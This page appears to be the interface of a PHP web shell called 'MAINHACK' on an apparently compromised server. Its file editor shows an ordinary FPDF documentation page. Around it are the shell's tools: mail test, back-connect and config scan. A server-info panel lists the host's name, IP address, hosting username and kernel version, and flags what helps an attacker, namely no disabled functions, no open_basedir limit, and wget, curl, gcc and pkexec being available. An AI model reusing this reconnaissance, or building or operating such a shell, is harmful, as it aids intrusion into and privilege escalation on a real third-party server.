[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: addpage.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>AddPage</title> <link type="text/css" rel="stylesheet" href="../fpdf.css"> </head> <body> <h1>AddPage</h1> <code>AddPage([<b>string</b> orientation [, <b>mixed</b> size [, <b>int</b> rotation]]])</code> <h2>Description</h2> Adds a new page to the document. If a page is already present, the Footer() method is called first to output the footer. Then the page is added, the current position set to the top-left corner according to the left and top margins, and Header() is called to display the header. <br> The font which was set before calling is automatically restored. There is no need to call SetFont() again if you want to continue with the same font. The same is true for colors and line width. <br> The origin of the coordinate system is at the top-left corner and increasing ordinates go downwards. <h2>Parameters</h2> <dl class="param"> <dt><code>orientation</code></dt> <dd> Page orientation. Possible values are (case insensitive): <ul> <li><code>P</code> or <code>Portrait</code></li> <li><code>L</code> or <code>Landscape</code></li> </ul> The default value is the one passed to the constructor. </dd> <dt><code>size</code></dt> <dd> Page size. It can be either one of the following values (case insensitive): <ul> <li><code>A3</code></li> <li><code>A4</code></li> <li><code>A5</code></li> <li><code>Letter</code></li> <li><code>Legal</code></li> </ul> or an array containing the width and the height (expressed in user unit).<br> <br> The default value is the one passed to the constructor. </dd> <dt><code>rotation</code></dt> <dd> Angle by which to rotate the page. It must be a multiple of 90; positive values mean clockwise rotation. The default value is <code>0</code>. </dd> </dl> <h2>See also</h2> <a href="__construct.htm">__construct</a>, <a href="header.htm">Header</a>, <a href="footer.htm">Footer</a>, <a href="setmargins.htm">SetMargins</a> <hr style="margin-top:1.5em"> <div style="text-align:center"><a href="index.htm">Index</a></div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002